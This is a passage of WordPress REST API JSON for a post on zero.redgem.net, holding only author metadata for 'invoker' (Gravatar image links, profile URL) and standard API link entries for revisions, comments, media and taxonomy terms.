redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15129"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15129\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}